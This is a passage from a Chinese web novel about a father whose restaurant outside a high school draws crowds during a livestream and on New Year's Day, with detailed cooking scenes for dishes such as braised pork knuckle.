【为什么他切肉那么快，那么丝滑？是刀的原因吗？】 【不，是人的原因。】 直播间里粉丝们还在惊叹楚易文的刀工时，他已经开始滑炒鸡蛋。 六成油温将鸡蛋滑炒成蓬松金黄的鸡蛋块，他手里锅铲利落地轻推几下，鸡蛋很快就被盛出来，放在旁边备用。 鸡蛋炒完，他将泡发好的黄花菜、木耳简单处理一下，随即开始滑炒肉片。腌制过的里脊肉已经闻不到什么腥味，下入锅中快速滑炒，浓郁肉香瞬间飘散出来。 他滑炒里脊肉的手法以及随后将肉出锅的动作同样很流畅，有种行云流水的感觉，看得直播间里粉丝连连惊呼，表示自己要学这个！ 八成熟的里脊肉放到旁边备用，他开始炒配菜，锅里下少许油，葱、姜、蒜爆香后将黄花菜和木耳下锅翻炒，香味炒出来时加入黄瓜片。 为了保持黄瓜的脆嫩，楚易文没有多炒它，很快又将鸡蛋块、肉片下锅，锅边烹上半勺料酒，伴随“嗤啦”一声，料酒一半被蒸发，一半融入菜中，起到去腥增鲜的作用。 等到他用生抽、老抽、盐进行调味后，很快整道木须肉就散发出一股浓郁的咸鲜气息。等简单勾个芡，点上几滴香油，色泽诱人的木须肉终于可以出锅。 看到他做完整道菜，直播间粉丝们隔着屏幕都有被馋到，更别说风哥就站在厨房里，闻着那扑面而来的香气，他已经偷偷咽了不知道多少下口水。 “太香了家人们，香得我口水都快下来了……” 他小声说话的同时，摄像师给了木须肉一个特写镜头。酱红色肉片、金黄色鸡蛋块、翠绿色黄瓜片、深褐色木耳、嫩黄色黄花菜、几种颜色搭配在一起，色泽鲜艳明亮，看起来就让人食欲大开。 【好漂亮的木须肉，看得我馋死了，好想吃啊！】 【那鸡蛋一看就很香，肉片更是嫩嫩的，我都不敢想这道菜有多好吃。】 【我不信，这菜肯定是酸的，臭的，除非给我尝尝。】 风哥他们在厨房里拍摄，店里那个外卖小哥用手机打开了他的直播间，旁边顾客好奇看过来，在发现是厨房里的画面后，大家纷纷掏出手机。 以前光闻香味都被馋得不行，现在看到楚易文的做菜过程，顾客们更是被馋得口水直流三千尺，偏偏还舍不得关掉直播。 “好想吃饭！”小月跟爷爷他们一起看着直播间里的画面，被刚出锅的木须肉馋得肚子咕咕直叫。 黄老爷子同样有被馋到，但在孙女面前他还要面子，自然不会表现出来，开口夸道：“小伙子是真讲究，不光店里整洁，厨房都那么干净。” “确实。”周老爷子赞同地点头。 不光他们在夸，店内顾客们看着直播，好话更是没停过，有人夸楚易文的厨艺，有人夸厨房的卫生，总之大家对盲盒餐厅都越来越满意。 在色与香的双重诱惑下，店里顾客们是真被馋得不行，但他们馋归馋，好歹待会还能吃到，直播间里的粉丝们才是真的惨，看得着吃不着。 随着楚易文开始往外端菜，排在前面的顾客已经迫不及待开始点道：“我要木须肉、红烧鸡翅、莲藕排骨汤！” “我要啤酒鸭、木须肉、莲藕排骨汤！” “稍等。”楚易文说完，将所有菜全部搬出来，又用勺子将米饭打散一些，随即才正式开始打饭。 隔着屏幕还不能完全看出菜肴的诱人，此时面对面望着，木须肉那由丰富食材组成的色彩搭配，以及芡汁带来的油润光泽，令人口舌生津。 风哥他们排的位置还算靠前，等买好饭菜坐下来时，他迫不及待拿起筷子先吃了一大口木须肉，“粉丝先吃”的江湖规矩早被他抛之脑后。 锅气十足的木须肉入口咸鲜，咀嚼间香滑软嫩的鸡蛋、鲜香嫩滑的里脊肉、脆爽弹牙的木耳、软嫩带嚼劲的黄花菜、清脆爽口的黄瓜片，口感简直不要太丰富。 “嫩、滑、脆、软，咸鲜浓郁，简直好吃到无可挑剔！”风哥咽下嘴里的木须肉，享受地轻晃着脑袋，“这绝对是我这辈子吃过最美味的木须肉，每道食材的特色都完美保持……” 他说完立刻又吃了两口，这次连说话的工夫都没有，就着米饭吃得那叫一个香。 荤素搭配的木须肉口感特别好，滑嫩的肉片越吃越香，鲜嫩的鸡蛋更是半点腥味没有，每种食材单吃都很香，随机组合在一起更是能享受到不同滋味。 风哥要做直播，还得时不时说几句话，他旁边外卖小哥则是全程埋头苦吃，好吃到脸都差点没埋进碗里。 看到他们这吃相，别说直播间里粉丝们，就连坐在对面的摄影师都有点受不了，将摄像机放到桌上，自己拿了双筷子也开始吃起来。 第84章 酱肘子 【真是没天理了！摄像师竟然都吃上了！】 【可恶, 风哥你也是个老主播了，竟然连粉丝先吃的规矩都不懂，取关警告！】 【这菜做的真是没话说, 我不行了，点外卖解馋去。】 【真是服了，你们是不是忘记自己在直播了？】 直播间里粉丝们看到连摄像师都吃上，忍不住发出抗议，然而并没有什么用，桌上三人吃得一个比一个香，哪还记得什么直播。尤其是摄像师, 刚刚看风哥吃就馋得不行，现在终于吃上，好吃到他简直陶醉。 木须肉里的肉片特别嫩, 鸡蛋更是格外鲜美，其他几样蔬菜更是口感丰富，特别是黄花菜, 那软中带韧的黄花菜，他真是越吃越喜欢。 他往嘴里连塞几口木须肉, 还没完全咽下去，筷子又夹起个红烧鸡翅，色泽油润的红烧鸡翅散发着浓郁肉香，轻轻一咬肉就脱骨, 吃起来很是入味。 三个大男人凑在一桌，吃饭速度那叫一个快，十几分钟的工夫，桌上菜就已经见底。 直到这时，风哥才终于想起来还在直播：“太好吃了, 家人们，这真是我探店那么久以来吃过最美味的一顿饭，食材新鲜，味道好，可以说色香味全部能打满分。” 直播间里粉丝们见他饭要吃完了才想起他们，直接在弹幕上刷了一堆“呵呵”。 摄影师咽下嘴里的饭，也跟着补充一句：“他家不光菜好吃，米也格外香，粒粒分明，米香浓郁，感觉这米饭，没有菜我都能直接干掉一碗。” 看得出来米饭是真好吃，他说完连掉在桌上的两粒都要捡起来塞嘴里。 直播间里粉丝们还在继续用“呵呵”刷屏时，那名外卖小哥已经吃完饭，开始喝汤。 一口热乎的莲藕排骨汤刚下肚，他立刻舒服地“哈”了一声，感觉这汤实在好喝。排骨的鲜味和莲藕的清甜交织出鲜甜的滋味，喝起来完全不腻，反而有种浑身都温暖的感觉。 跑外卖其实很累，但在美味的安抚下，他此时却有种疲倦全消的感觉。 他一句话没说，但直播间里大家看着他喝汤时不自觉露出的满足表情，有被馋到。 很快，风哥也吃完最后那口饭开始喝汤，不自觉就夸赞起来：“鲜甜不腻，这汤熬得太好喝了！” 他喝得有点停不下来，半碗汤下肚才握着筷子开始吃里面排骨和莲藕。 “唔，这排骨炖得真烂，你们看，轻轻一咬肉就下来，但烂归烂，口感却一点都不柴，真不知道老板是怎么炖的，我第一次发现原来这种煮出来的排骨还能这么好吃。”酥烂脱骨的排骨好吃到有点出乎风哥的意料，让他连骨头都忍不住多啃两口，感受着从骨髓里咬出的那股鲜味。 他话落，旁边摄影师举着莲藕夸道：“这藕也好吃，粉糯绵密，藕香特别浓郁。” 莲藕自带的清香特别让人回味，吃完还有种唇齿留香的感觉，由于吸收汤汁，它表面带着肉汤的咸鲜味，食材本身的甜与汤的鲜平衡得特别完美，吃起来让人有些上瘾。 又被馋了一波的粉丝们是真有点受不了，要么直接出去吃饭，要么开始点外卖，一时间好多人都在外卖平台搜索莲藕排骨汤。 这顿饭可把风哥他们给吃爽了，甚至晚上还想来吃，但直播间里只能看不能吃的粉丝却是发出抗议，表示他晚上要是敢来吃，他们就取关。 风哥心说他晚上又开直播，偷偷来吃不就行了。 顾客们吃完饭带着满足的表情从店里离开后，很快便只剩下楚瑾钰他们几个的身影。 楚易文边吃饭边听几个孩子闲聊，吃到一半时忽然想起什么，插话道：“楚瑾钰，你上课时睡觉了？老师喊你都没喊起来？” 楚瑾钰闻言立刻转头：“胡一齐你告我黑状？” 胡一齐还没来得及反驳，楚易文就先替他解释：“不是一齐说的。” “那爸你怎么知道的？”楚瑾钰这反问，显然是不打自招。 胡一齐见他只怀疑自己，不怀疑叶其林他们，生气地扑过去掐他肩膀。 “你班上老师说的。”未免儿子和朋友们产生信任危机，楚易文犹豫两秒还是说出自己的消息来源。 他家店开业后何止学生们喜欢吃，学校里上到老师，下到门卫，可以说人人都爱吃，只要有空就会过来。 以前楚易文只跟班主任关系熟一些，现在他基本上已经和班上所有老师都熟悉。 “太过分了！”听到是老师说的，楚瑾钰不由暗暗磨牙，忽然发现他爸在学校门口开店也不全是好事。 坐在旁边吃饭的李老太太闻言，不由替楚瑾钰说话：“天气冷是容易犯困，他肯定不是故意在课堂上睡觉。” 楚易文倒不是要批评儿子，主要是想到他上次发烧的事情，觉得这个天气在教室里睡觉容易着凉。 随着外套越穿越厚，在冬日的冷风呼啸下，时间很快来到十二月底，元旦即将来临。 进入高三后楚瑾钰他们不光周六要上课，这学期校内不少活动都不带他们高三年级玩，好不容易要迎来元旦节，他们总算可以放松一下。 “楚瑾钰，叔叔这次元旦还会给你准备好吃的吗？” “我馋叔叔做的烤虾了，网上买的都没有他做的好吃。” “还有冷吃牛肉，叔叔做的特别好吃！” 离元旦节还有几天时，班上学生们想起去年元旦节，不由用期待的眼神看向楚瑾钰。 楚瑾钰：“我爸肯定会给我做。”他语气透着自信，同时还带着几分小炫耀。 同学们才不管他炫不炫耀，为了到时候能蹭几口，纷纷开始说好话。 与此同时，黄家。 小月从盲盒餐厅吃完午餐回家，此时正满足地半躺在沙发上玩手机，忽然接到她爸打过来的电话。 “马上就元旦了，你和你爷爷什么时候回来？” 小月听到这话，有点为难，犹豫两秒后试探着道：“爸，要不你们回老家一起过元旦？” 其实她前些日子试着问了下爷爷，爷爷并不想离开老家，而她，之前还想着怎么哄爷爷去首都，但现在已经有了在老家找工作的想法。 “你就为了一家饭店，现在连家都不想回了？” 不怪黄父这么说，主要是小月自己憋不住话，发现盲盒餐厅这个宝藏店铺后怎么可能忍得住不和家里人说。 小月：“哎呀爸，你这说的是什么话，我不走哪是因为盲盒餐厅，主要还是想在老家陪爷爷，这次回来我才发现，他头发都白了，看起来老了好多……” 她并不全是在找理由，这次回家看到忽然老了很多的爷爷，心里确实很有感触。 黄父听到女儿的话沉默半响，显然是想到白发苍苍的老父亲心里有些内疚，好一会才重新开口：“既然你爷爷不过来，那元旦还是我们回去。” 听到他爸说要回来，小月开心道：“好啊好啊，到时候带你们去盲盒餐厅吃饭！” “你就知道吃。”黄父不带怒意地轻斥一句，心里倒是对盲盒餐厅生起点好奇心，想知道到底是有多好吃，才让他女儿和父亲天天都要过去吃。 忽然，他想到一种情况，不由道：“他家菜里别是加什么料了。” “爸你别瞎说，盲盒餐厅干净着呢，之前后厨都让人直播过，就是因为那次直播，越来越多人跑过来吃饭，搞得现在得更早去排队才行。”小月说到这语气带着点小抱怨。 不怪她抱怨，主要之前她和爷爷十点多出门都来得及，自从那天后厨直播的视频在网上传来，越来越多人知道盲盒餐厅。 现在不光学校里家长有空过来排队，甚至连附近初中、小学的家长都被吸引过来，想要买点干净卫生又好吃的饭菜给自家孩子吃。 周一到周五时还好，毕竟是工作日，好多人都没空。周六时那才叫恐怖，除了本校高一、高二的学生，还有附近初中、小学甚至幼儿园的孩子跟家长一起过来吃饭。 如果说工作日时小月十点到店就行，那么周六时她必须九点多过去才能吃上饭，否则得排老长的队，还有可能吃不着。 元旦当天，由于楚瑾钰今天要正常上课，只有晚自习时间可以在教室里开元旦晚会，所以盲盒餐厅自然照常营业。 好歹是过节，当然得吃好点，楚易文除了提前给儿子准备好晚上吃的零嘴，今天还要做道硬菜——酱肘子。 在冬天这个需要囤积脂肪的季节，酱肘子这种美食简直太适合，那软糯的口感，肥而不腻的滋味，光是想想都很美味。 食材楚易文选用的是肉多骨头小，筋多胶质丰富的猪前肘，做出来口感会更好。 酱肘子做起来很费时间，所以今天楚易文采购完食材就赶紧到店里开始忙活起来，先用明火将猪肘表面烧成焦黑色，这样不光能去除猪毛，还能减少腥臊味。 等他将烧过的猪肘放到水里洗刷干净，猪肘表面露出金黄色肉皮，显然是刚刚明火高温下产生的颜色。 洗干净的猪肘冷水下锅，加葱、姜、料酒一起大火烧开，煮几分钟后他用锅铲撇去表面浮沫，将猪肘的腥味全部煮出来，随即捞出来用温水再次冲洗。 经过这几个步骤，猪肘已经变得特别干净，那白白胖胖的模样，还挺讨喜。 楚易文把猪肘擦干水分后，动作利落地起锅烧油，很快就将冰糖下锅，给猪肘炒出漂亮的糖色。 那股肉的焦香混着焦糖气息，闻起来令人食欲大开。 做这种炖菜楚易文更喜欢用砂锅，猪肘炒好糖色，他直接往砂锅里加少许油把葱、姜、八角、桂皮等香料炒香，又加点黄豆酱小火炒出酱香味，随即把猪肘放进去。 热水没过猪肘，他加入生抽、老抽、料酒等调料进行调味上色，大火烧开后撇去表面的少许浮沫，开始盖上盖子炖煮。 酱肘子要炖入味，至少得小火慢炖两三个小时，接下来的时间，楚易文开始准备其他菜肴。 黄家。 随着昨天黄父黄母带着儿子一起回来，家里变得格外热闹，早餐是小月直接点的外卖，家里除了还在睡懒觉的大学生外，其他人都一起坐在桌前吃饭。 黄母：“看看我们家小月，现在才像个年轻人的样子，精神头多好啊，要不是你弟弟还要上学，我都想把他也送回老家来。” 以前家里两个孩子都爱熬夜，尤其是假期，熬得那叫一个凶，晚上不睡，白天不起。她没想到女儿回老家后竟然把作息给调好，越看越觉得欣慰。 黄父赞同地点头，觉得女儿回老家后精神面貌确实变好，不由也跟着夸了几句。 七点半左右吃完早餐，小月陪着爸、妈、爷爷、周老爷子这些长辈们一起聊着天，直到八点四十分时，她起身道：“我去把小阳喊起来。” 黄母点头：“行，你去把他叫起来吃早餐。” 她说完，转头对着黄老爷子道：“还是爸你会教孩子，小月越来越有当姐姐的样子了。” “小月本来就乖……”黄老爷子闻言对着孙女好一通夸。 房间里。 小阳昨天和同学开黑打游戏，打到凌晨三点才睡，此时正是睡得最沉的时候。 “起床，别睡了！” 小月喊半天没喊动，直接把他被子给掀开。 被强制喊醒的小阳有点想发脾气，不过看到是他姐，从小到大的血脉压制，让他起床气瞬间憋回去，伸手摸起手机看了眼时间才道：“九点都没到，你叫我干嘛啊？” “起床准备去吃饭了。”小月说完，甚至很好心地将他衣服丢到床上。 “我不吃……” 人在没睡够时根本不想吃饭，小阳说完重新将眼睛闭上。 “元旦节说好一起出去吃饭，你不去像话吗？赶紧起来，吃完回家再睡。”小月现在忽然有点理解家长们以前为什么总爱说她了，就像现在，她就搞不懂，明明提前说好今天要出去吃饭，她这个蠢弟弟昨晚还要熬夜。 啧，这就是所谓的“人终究都会活成以前自己讨厌的样子吗？” 小月想到曾经她熬夜被妈妈喊着起床时的烦躁，发现人果然连曾经的自己都无法共情。 而床上的小阳刚开始以为他姐是催自己吃早餐，听着听着反应过来，有些无语地睁开眼：“你是说出去吃午饭？现在才九点都不到，谁家午饭吃得那么早！” “你懂什么，今天过节，店里人肯定多，不早点去的话别说位置，连饭都有可能吃不着。”在盲盒餐厅吃了那么久的饭，小月已经很有经验。 “吃不着就吃不着呗，街上那么多店，随便换一家不就行了。” “别家哪有他家好吃，你别磨蹭了，赶紧起来，真要来不及了！”见她弟这么磨蹭，小月真有点着急起来。 听出她声音里的急切，小阳揉着本就乱糟糟的头发从床上坐起来：“不就是一家小破饭店，能好吃到哪去，你至于吗？” 他声音里带着对盲盒餐厅的迁怒，觉得又不是什么五星级的酒店，竟然还搞起饥饿营销来。 见他终于起来，小月瞪他一眼：“要不是今天过节我都懒得叫你，真是不知好歹，哼！现在你说它是破店，待会吃饭时有本事别真香！” 说实话，如果不是想着家里人难得都回来，今天又是元旦节，她才不会来叫人。 离九点还差三分钟时，小阳终于洗漱完从房间里出来，黄母开口道：“厨房里有你姐买的包子和豆浆，赶紧去吃早餐。” 她话落，小月已经将包子和豆浆拿出来，一把塞进弟弟手里：“拿着路上吃。” 说完，她招呼家里人换鞋出门。 “去哪？”黄父问了一句，得知是去吃午饭，觉得太早了。 见他不动，黄老爷子直接板着脸道：“赶紧换鞋，吃饭还叫不动你是吧？” 亲爹一开口，黄父哪敢继续坐着，只能起身带着几分无奈去换鞋。 一群人从家里出来，小阳有一口没一口咬着包子，同时忍不住对他妈碎碎念：“妈，你也不管一下我姐，这才几点……” 黄家离学校是真近，九点十几分时，他们已经来到校门口，小月望着盲盒餐厅的方向，见果然已经有好多人陆续往店里走，立刻道：“我先去占位置！” 她说完，一路小跑，等进入店中时，里面座位已经坐满大半。 还好还好…… 她庆幸地拍着胸口，刚刚光顾着跑，现在才终于闻见店里那诱人的股肉香。 此时厨房里酱肘子刚炖上没多久，还不是香味最浓郁的时候，但已经能勾起人食欲。 “好香……” 店门外，小阳跟在爷爷后面走过来，被那股炖酱猪肘特有的香味给馋到，明明刚刚在路上才吃了两个包子，现在却感觉肚子又咕咕叫起来。 “嚯，今天人真多。”黄老爷子说完不由加快脚步，赶紧进店去。 黄家一群人刚在店里坐好，五分钟不到，剩下的位置就被从外面走进来的其他顾客全部坐满。 黄父：“这家店生意还真好。” “因为好吃，光是这个香味都能馋死人。”小月道。 随着时间的流逝，从厨房里飘出来的香味越来越浓，越来越诱人。酱肘子那肉香混着酱香，以及夹杂着焦糖气息的浓郁香味，直让人口水不停分泌。 “姐，什么时候能吃饭？我饿了。”闻着这股香味，原本还有点犯困的小阳瞬间就精神起来，食欲压过困意。 小月可还记得他刚刚在家里说的话，轻哼着道：“你不是说这家是破店？现在知道饿了？” “我那会不是没睡醒嘛。”小阳说完深吸一口气，闻着扑面而来的香味陶醉道，“太香了，光闻味道就知道肯定好吃。” 今天菜色很丰盛，除了酱肘子外还有西兰花炒虾仁、水煮鱼片、孜然牛肉、芋头烧鸡、腌笃鲜。 光是酱肘子那股霸道的肉香就已经能馋死几个人，再加上鱼鲜味、虾鲜味、牛肉鲜味、鸡鲜味，以及能鲜掉人眉毛的腌笃鲜，不怪小阳光是闻到香味就瞬间改口。 随着盲盒餐厅里香飘十里，越来越多人来到店里，其中举着手机拍视频的都有好多个。显然，云市本地网红都发现这个既能吃到美食还能当素材的热点，自然不愿意错过。 小阳望着店里店外人越来越多，忍不住感叹：“我的天，现在还不到十一点，竟然就有这么多人提前过来排队！” “现在知道我为啥要那么早出门了吧！”小月得意道。 小阳直接朝她伸出大拇指：“我姐果然是我姐，就是有先见之明。” 由于人已经越来越多，未免后来的人插队，他们用手机和包包占着位置，人已经加入排队中。 黄父望着女儿道：“你们平常吃饭都要这样吗？”他感觉这顿饭吃得也太不容易，九点就要过来等。 “周一到周五时还好，十点多过来就行，节假日就会像今天一样，人特别多。”小月道。 此时店里已经人满为患，男女老少全都在排队，有年纪比较小的孩子闻着扑面而来的浓郁肉香，已经开始闹起来。 “妈妈，我要吃饭！” “等会，饭还没做好。” 厨房里。 经过几个小时的小火慢炖，酱肘子那股肉香和酱香已经浓郁到极致，随着楚易文将盖子打开，露出里面油润光亮的琥珀色肘子。 他将肘子捞进盆里，里面香料渣捞出来不要，剩下的汤汁开大火进行收汁，在勺子搅拌下，本就吸收肘子胶质的汤汁变得越来越浓稠。 楚易文将汤汁淋到盆中酱肘子上，给它挂上层更加油亮的色泽，酱肘子这才算是完全做好。 他手里动作如行云流水般自然流畅，然而外面顾客们却被他收汁过程中产生的霸道肉香馋得直咽口水。 甚至有个小朋友直接被馋哭，哪怕被妈妈抱在怀里哄，还是用哭唧唧的腔调喊着：窝要次肉肉……” 第85章 蚂蚁上树 在店内各种喧闹声中, 楚易文终于将菜依次端出来，首先就是那盆酱香浓郁的酱肘子。 经过长时间炖煮，肘子表面呈现漂亮的琥珀色, 浓稠的汤汁挂在肉上面，让整道肘子看起来色泽光亮、油润诱人。 酱肘子之后是芋头烧鸡、水煮鱼片、西兰花炒虾仁……一道道菜被端出来，那卖相，那香味，简直令人垂涎欲滴。 刚刚哭唧唧的小孩被妈妈抱在怀里，视线正好能看到冒着热气的菜肴，此时已经完全被吸引, 哭声停止，改成微张着小嘴巴流口水。 “怎么这么馋。”妈妈拿出口水巾给他擦擦嘴巴，声音里满是笑意。 与此同时, 排在第一位的顾客在楚易文开始打饭时，却是啧啧有声道：“今天这菜可真硬！” 楚易文闻言笑了一下，将打好的午餐递过去。 顾客伸手小心接住, 感觉这么好的菜，哪怕洒出去第一菜汤都能让他心疼死。 终于在座位上坐下, 他握着筷子就先朝酱肘子伸过去。别说他，就连还在排队的顾客们都被酱肘子吸引，在他开吃时视线不由落过去。 由于是卖给顾客们吃，楚易文将肘子切成一块块, 从切口处能完美地看到琥珀色的皮、浅棕色带点半透明的脂肪层、被酱色浸染的瘦肉层以及被肉包裹的骨头，整体看着就特别有食欲。 顾客一口咬上去，先感受到表面软糯弹牙的滋味，再往下是肥而不腻的肥肉。长时间地炖煮将猪肘多余油脂全部炖出去，吃起来只有丰腴的脂香, 生抽、黄豆酱带来的咸鲜味和炒糖色的微微焦糖气息，让这口肉吃起来软糯香滑，余味悠长。 第一口没吃到瘦肉，但却完全不腻，等他迫不及待咬下第二口时，肥肉的丰腴脂香和瘦肉的酥烂入味相融合，那浓郁的肉香好吃到他有点想哭。 酱肘子不论是口感和味道都特别有层次感，咀嚼间那酱香浓郁的肉香，带来嗅觉、视觉、味觉三重享受。 看到别人吃，还在排队的顾客不停咽口水，同时视线不停往前面看，生怕轮到自己时菜卖完了。 好在今天是过节，楚易文特意多做了点，每道菜分量都不少。 那个刚刚被馋哭的小朋友被妈妈此时已经在爸爸怀里，眼睛还带着点红彤彤。 楚易文打菜时注意到，不由问了句：“怎么哭鼻子了？” “次肉肉！”小家伙本来还被近距离的肉香给香迷糊，有点没反应过来，听见他温和的声音，立刻伸出小手道。 “好，和爸爸妈妈一起吃肉肉去。”楚易文加快速度，将打好的饭菜递过去。 小家伙是真馋，在他妈妈接过菜那瞬间，眼疾手快地抓了块酱肘子就往嘴里塞。 几个大人看到这一幕，不约而同“哎”了一声，但根本来不及阻拦他。 怪不得都说世界上最快的东西之一就是小孩的手速…… 楚易文心里想着，见孩子父母都无奈地任他抱着肉啃得满脸油，带着几分好笑继续给下一位顾客打饭。 看起来大约三四岁的小朋友两手抓着酱肘子，啃得那叫一个香，眼睛都眯起来，吃得直摇头晃脑。 他那副被肘子好吃到迷糊的模样，让周围顾客看了又觉得可爱，又有被馋到。 “不怪小孩被馋哭，我都被馋得有些受不了。” “是啊，今天这菜太香了……” “那酱肘子卖相太诱人了，我都想啃两口。” 在顾客们的聊天声中，黄家一行人终于排到最前面，小月和爷爷还稍微好点，她弟弟望着面前色香味俱全的菜肴，没出息地咽着口水。 “现在高中生都吃这么好了？” 小阳忍不住发出感叹，想到他们学校的食堂和校外的就餐环境，声音里透着羡慕。 “赶紧端菜。”小月见他呆呆的，伸手拍下他胳膊提醒。 由于今天人多，她每样菜都点了两份，酱肘子更是点了三份。 终于将饭菜端到桌子上时，小阳跟几百年没吃过饭一样，快速拿起碗筷就夹了个酱肘子，张嘴直接咬上去。 肘子表面汤汁浓郁，当那股酱香的咸鲜在味蕾上蔓延开来时，被炖出来的胶质感吃起来微微黏唇，但却越吃越香，尤其是啃到和骨头连着的筋膜时，那叫一个香。 换做平常，看到儿子吃饭这么没礼貌，黄父肯定要说他几句，但今天菜实在太香，在老爷子动筷后他忍不住也立刻吃起来，完全没工夫说他。 酱肘子的美味毋庸置疑，那软糯醇香、肥而不腻的口感，咸鲜浓郁、醇厚回甜的滋味，香得人连骨头都想咬碎吃掉。 小月：“太好吃了！跟之前做的脆皮肘子是不同的好吃！” 和脆皮肘子的酥脆比起来，酱肘子味道更加浓郁，一口下去，满满的都是胶原蛋白被煮出来的胶质感，肥肉和瘦肉部分都特别香。 “确实好吃，竟然能有人把猪肘这种食材做得一点腥臊味都没有，而且吃起来还不腻，真是厉害。”黄母平常不怎么吃猪肘这类食物，不是她不爱吃，主要是味觉比较敏锐，总能吃出来肉里的腥臊味，瞬间就胃口全无。 但此时，她只吃出食材本身的肉香，以及香辛料的复合气息和酱香味，最妙的是，香辛料的气息恰到好处，完全没有抢走食材本身的风头，让她越吃越喜欢。 黄父吃完整个酱肘子，带着点意犹未尽对女儿道：“你妈平常根本不吃肘子，她都夸这酱肘子，可见是真好吃。” 话说完，他又夹起块肘子放到碗里，配着米饭大口吃起来。 黄父吃得已经不算慢，然而旁边小阳更加夸张，他面前已经堆着不少骨头，开始吃第四块。 “你慢点吃，早知道不叫你了！”小月第一个肘子刚吃完，见弟弟已经吃第四个，觉得他吃那么快简直暴殄天物。 肘子太好吃，小阳压根不想说话，左耳朵进右耳朵出，继续啃着肘子，享受着大口吃肉的爽感。 今天带孩子过来吃饭的家长是真不少，隔壁桌上，一个小女孩吃着吃着忽然仰起脸奶声奶气说：“妈妈，嘴巴黏住了……” “是肉肉黏住的，你还敢吃吗？”妈妈笑着道，边说边拿纸巾帮她擦擦嘴。 “要吃，肉肉香香哒~” 被擦过的嘴巴没那么黏，小家伙立刻举着手里肘子继续吃起来，啊呜咬上去，肥而不腻的肉在嘴里化开，香得她忍不住跷脚脚。 顾客们热火朝天吃得正香时，楚瑾钰几人在放学后也都来到他们的专属座位。 胡一齐：“这酱肘子真是绝了！怎么会这么好吃！” 酱肘子一口咬下去，软、糯、香、滑、咸、鲜、回甜，好吃到他简直陶醉。 “你都要胖成球了，少吃点肘子吧。”楚瑾钰看他吃肘子吃得停不下来，望着他这学期下来又圆了一圈的脸道。 自从楚易文开始做饭后，他们几个每顿饭都吃得香，吃得好，体重全都上涨不少，区别只在于楚瑾钰他们三表面倒是不大能看出来，而胡一齐，脸都直接吃圆了。 “胖咋了，都是我凭本事吃出来的肉。”胡一齐说完又啃了口肘子，香得眼睛都眯起来。 旁边邵言易轻咬着酱香浓郁、肥而不腻的酱肘子，觉得不怪他爱吃，这肘子确实炖得特别香。 几人中数胡一齐最会吃，他大口啃肘子还不满足，甚至将肘子肉用筷子拆到饭上，再浇点浓稠的汤汁上去，用筷子轻轻搅拌，肥肉部分几乎和汤一起融进米饭里，瘦肉则是被搅碎，吃进嘴里，那叫一个香。 米香和肉香混合，加上汤汁的酱香，简直越吃越好吃，咽下去时的饱腹感，更是令人满足。 这么吃胡一齐还嫌不够，又夹了点西兰花到碗里，西兰花微脆的口感和蔬菜的清香与肉香融合，吃起来清爽解腻。 酱肘子楚瑾钰同样爱吃，不过他连吃几块后就端起汤碗，品尝起有些日子没吃的腌笃鲜。 “真鲜！” 哪怕不是第一次吃腌笃鲜，那能鲜掉人眉毛的滋味还是让他不由感叹。 冬笋的鲜甜细腻，鲜肉的酥烂、咸肉的紧致有嚼劲，不光楚瑾钰吃得欲罢不能，店内顾客们更是被惊艳到。 “今天这笋子汤太美味了，鲜的哟。” “什么笋子汤，那叫腌笃鲜。” “管它叫什么，反正太好喝了，里面食材也好吃，这冬笋，又鲜又细腻……” 店内位置有限，在前面顾客沉浸在美味中时，后面的顾客已经没位置坐。 有些人忍耐力强，还能打包带回家吃，有些人却是受不住馋，没位置找个角落蹲着也要直接吃。 “这孜然牛肉太香了！” “酱肘子才是真绝，我从来没吃过这么好吃的肘子。” 在其他顾客吃得赞不绝口时，店中也有人是例外，有个妈妈闻着扑面而来的香味，却是一直没动桌上的饭菜，而是视线一直落在大门方向。 “囡囡，这里。”终于看到女儿的身影，她脸上不自觉露出笑容。 见自己都已经上高三，妈妈还这么喊她，囡囡有点不好意思，不过在闻到店内香味，看到桌上饭菜时，眼睛却是瞬间亮起来。 “哇，今天的菜好丰盛。” “快吃吧，冬天菜冷得快。”妈妈边说边将筷子递过去。 刚刚放学后老师拖了会堂，囡囡本来还不觉得饿，现在望着色香味俱全的饭菜，肚子瞬间咕咕叫起来，立刻夹起块色泽油亮的酱肘子。 酱肘子看起来油润，吃进嘴里却是半点都不腻，肉皮软糯中带着点韧劲，肥肉部分则是入口即化，浓郁的脂香在寒冷的季节简直令人不要太满足。 好好吃啊！ 美味的食物是真的能让人发自内心感到幸福，囡囡咽下嘴里的肘子肉，忍不住道：“妈妈你真好！要不是你，我都吃不到这么香的饭菜！” “喜欢吃就多吃点。”妈妈听到女儿的话，比自己吃了还高兴，连连往她碗里夹菜。 高三学习压力大，每年都能在网上看到高三学生崩溃的负面消息，她和孩子爸爸商量过后，决定这一年由孩子爸爸负责赚钱，自己专门照顾女儿的生活。 孩子只是想吃校门口的饭，又不是要天上的星星，她在查看过店里的卫生情况后，自然不会让孩子失望。 甚至在看到女儿开心的模样时，她心里有点感激这家店的老板，觉得有他家店能让孩子放松精神，实在很好。 “妈妈你也吃，酱肘子特别好吃，看起来肥，吃起来完全不腻，还有这个汤，好鲜啊！” 中午楚易文准备的午餐得到顾客们一致好评，甚至不少顾客吃完还要特意找他夸几句。 顾客们提供的情绪价值，让楚易文在卖完饭后脸上不自觉带出几分笑意，等坐到儿子身边时，食欲都上来几分。 “零食你是待会拿走，还是吃完晚饭再拿？”楚易文边吃饭边问。 今天晚上各班会在教室里举行元旦晚会，他专门给儿子做了灯影牛肉、烤虾干、香酥小刀鱼、酱落苏干让他活动时当零嘴吃。 楚瑾钰：“还是晚饭后再拿吧，不然我怕下午就直接吃完了。” 听到这话，楚易文还能说什么，点点头就继续开始吃饭。 直到学生们都回学校后，盲盒餐厅里才逐渐恢复安静，等人都离开，李老太太麻辣地擦桌子、扫地拖地，很快店内又恢复干净整洁。 黄家。 自从吃完午饭回家，小阳嘴巴就没停过，一个劲夸盲盒餐厅好吃，从酱肘子夸到孜然牛肉，从孜然牛肉夸到水煮鱼片，甚至连它家米饭都赞不绝口。 想到刚刚吃饭时他一个人就吃掉整份酱肘子，小月忍不住轻哼：“现在知道好吃了，早上叫你还半天不起来。” “姐，我们下午几点过去？是不是也要早点？” 刚刚那顿饭是真把小阳吃爽了，感觉是自己这辈子吃过最美味的一顿饭，明明肚子里还没消化完，已经惦记上晚餐。 “肯定得早点去，你没看到中午多少人在排队，尤其是后面的人，排队都没买到。” 上午时小阳还觉得盲盒餐厅是在搞饥饿营销，现在却是道：“没办法，好吃的谁都喜欢，人多也正常。” 